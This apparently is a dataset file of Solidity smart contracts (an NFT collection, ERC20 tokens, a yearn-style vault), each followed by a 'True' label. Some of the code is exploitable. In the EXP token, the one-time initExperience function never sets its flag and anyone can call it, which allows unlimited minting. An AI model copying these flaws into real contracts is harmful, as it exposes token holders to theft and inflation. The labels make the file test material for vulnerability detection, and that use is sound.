length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: PonziPanthers.sol pragma solidity ^0.8.4; contract PonziPanthers is ERC721Enumerable, Ownable { using Strings for uint256; using Address for address; using Counters for Counters.Counter; uint256 public maxSupply = 4949; Counters.Counter private _tokenIds; uint256 public totalNFT; uint256 public totalMint; string public baseURI; string public notRevealedUri; string public baseExtension = ".json"; bool public isBurnEnabled = false; bool public paused = false; bool public revealed = false; constructor() ERC721("Ponzi Panthers", "PONZI") {} function changePauseState() public onlyOwner { paused = !paused; } function setBaseURI(string calldata _tokenBaseURI) external onlyOwner { baseURI = _tokenBaseURI; } function _baseURI() internal view override returns (string memory) { return baseURI; } function reveal() public onlyOwner { revealed = true; } function setIsBurnEnabled(bool _isBurnEnabled) external onlyOwner { isBurnEnabled = _isBurnEnabled; } function airdropPanthers(address[] calldata _addresses) external onlyOwner { uint i; uint256 _newItemId; for (i = 0; i < _addresses.length; i++) { _tokenIds.increment(); _newItemId = _tokenIds.current(); _safeMint(_addresses[i], _newItemId); totalNFT = totalNFT + 1; totalMint = totalMint + 1; } } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if (revealed == false) { string memory unrev = notRevealedUri; return bytes(unrev).length > 0 ? string(abi.encodePacked(unrev, "/", tokenId.toString(), baseExtension)) : ""; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, "/", tokenId.toString(), baseExtension)) : ""; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function changeTotalSupply(uint256 _newSupply) public onlyOwner { maxSupply = _newSupply; } function burn(uint256 tokenId) external { require(isBurnEnabled, "Burning disabled!"); require(_isApprovedOrOwner(msg.sender, tokenId), "Burn caller is not owner nor approved!"); _burn(tokenId); totalNFT = totalNFT - 1; } function tokensMinted() public view returns (uint256) { return _tokenIds.current(); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-01-16 */ //SPDX-License-Identifier: GPL v3 pragma solidity >=0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface EXP20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender,address recipient,uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface EXP20Metadata is EXP20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract EXP is EXP20Metadata, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _maxSupply = 10000000 ether; uint256 private _totalBurned; string private _name = "DwellersEXP"; string private _symbol= "EXP"; bool experienceInitiated = false; constructor() { } function initExperience(address DwellersStaking) external { require(!experienceInitiated, "Experience can only be initiated once"); _mint(msg.sender, 750000 ether); _mint(DwellersStaking, 9250000 ether); } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function totalBurned() public view returns(uint256){ return(_totalBurned); } function transferFrom(address sender,address recipient,uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "EXP: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "EXP: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function withdrawToken(address token) public onlyOwner { require(EXP20(token).transfer(msg.sender, EXP20(token).balanceOf(address(this))), "EXP: Cannot withdraw token"); } function burnFrom(address owner, uint256 amount) public virtual returns(bool){ _burn(owner, amount); uint256 currentAllowance = _allowances[owner][_msgSender()]; require(currentAllowance >= amount, "EXP: transfer amount exceeds allowance"); unchecked { _approve(owner, _msgSender(), currentAllowance - amount); } return true; } function _transfer(address sender,address recipient,uint256 amount) internal virtual { require(sender != address(0), "EXP: transfer from the zero address"); require(recipient != address(0), "EXP: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "EXP: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(_totalSupply <= _maxSupply, "EXP: Max Supply reached, cannot mint anymore"); require(account != address(0), "EXP: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "EXP: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "EXP: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; _totalBurned += amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve(address owner,address spender,uint256 amount) internal virtual { require(owner != address(0), "EXP: approve from the zero address"); require(spender != address(0), "EXP: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from,address to,uint256 amount) internal virtual { } function _afterTokenTransfer(address from,address to,uint256 amount) internal virtual { } }

True

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pragma solidity ^0.4.11; contract Freewatch { string public name; string public symbol; uint8 public decimals; /* Creates an array with all balances */ mapping (address => uint256) public balanceOf; event Transfer(address indexed from, address indexed to, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function Freewatch ( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) { balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes } /* Send coins */ function transfer(address _to, uint256 _value) { if(msg.data.length < (2 * 32) + 4) { revert(); } /* Check if sender has balance and for overflows */ if (balanceOf[msg.sender] < _value || balanceOf[_to] + _value < balanceOf[_to]) revert(); /* Add and subtract new balances */ balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; /* Notify anyone listening that this transfer took place */ Transfer(msg.sender, _to, _value); } }

True

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pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Strategy { function withdraw(address, uint) external; function balanceOf(address) external view returns (uint); function earn(address, uint) external; } contract yVault is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint public min = 9500; uint public constant max = 10000; address public governance; address public strategy; constructor (address _token, address _governance, address _strategy) public ERC20Detailed( string(abi.encodePacked("yearn ", ERC20Detailed(_token).name())), string(abi.encodePacked("y", ERC20Detailed(_token).symbol())), ERC20Detailed(_token).decimals() ) { token = IERC20(_token); governance = _governance; strategy = _strategy; } function balance() public view returns (uint) { return token.balanceOf(address(this)) .add(Strategy(strategy).balanceOf(address(token))); } function setMin(uint _min) external { require(msg.sender == governance, "!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setStrategy(address _strategy) public { require(msg.sender == governance, "!governance"); strategy = _strategy; } // Custom logic in here for how much the vault allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { uint _bal = available(); token.safeTransfer(strategy, _bal); Strategy(strategy).earn(address(token), _bal); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint _amount) public { uint _pool = balance(); uint _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // Used to swap any borrowed reserve over the debt limit to liquidate to 'token' function claim(address reserve, uint amount) external { require(msg.sender == governance, "!governance"); require(reserve != address(token), "token"); IERC20(reserve).safeTransfer(governance, amount); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint _shares) public { uint r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint b = token.balanceOf(address(this)); if (b < r) { uint _withdraw = r.sub(b); Strategy(strategy).withdraw(address(token), _withdraw); uint _after = token.balanceOf(address(this)); uint _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } token.safeTransfer(msg.sender, r); } function getPricePerFullShare() public view returns (uint) { return balance().mul(1e18).div(totalSupply()); } } contract yVaultFactory { mapping(address => address) public vaults; mapping(address => address) public tokens; address[] public vault; address[] public token; address public governance; constructor() public { governance = msg.sender; } function deploy(address _token, address _governance, address _strategy) external { require(msg.sender == governance, "!governance"); require(vaults[_token]==address(0x0), "vault"); address _vault = address(new yVault(_token, _governance, _strategy)); vaults[_token] = _vault; tokens[_vault] = _token; vault.push(_vault); vault.push(_token); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-04-18 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the 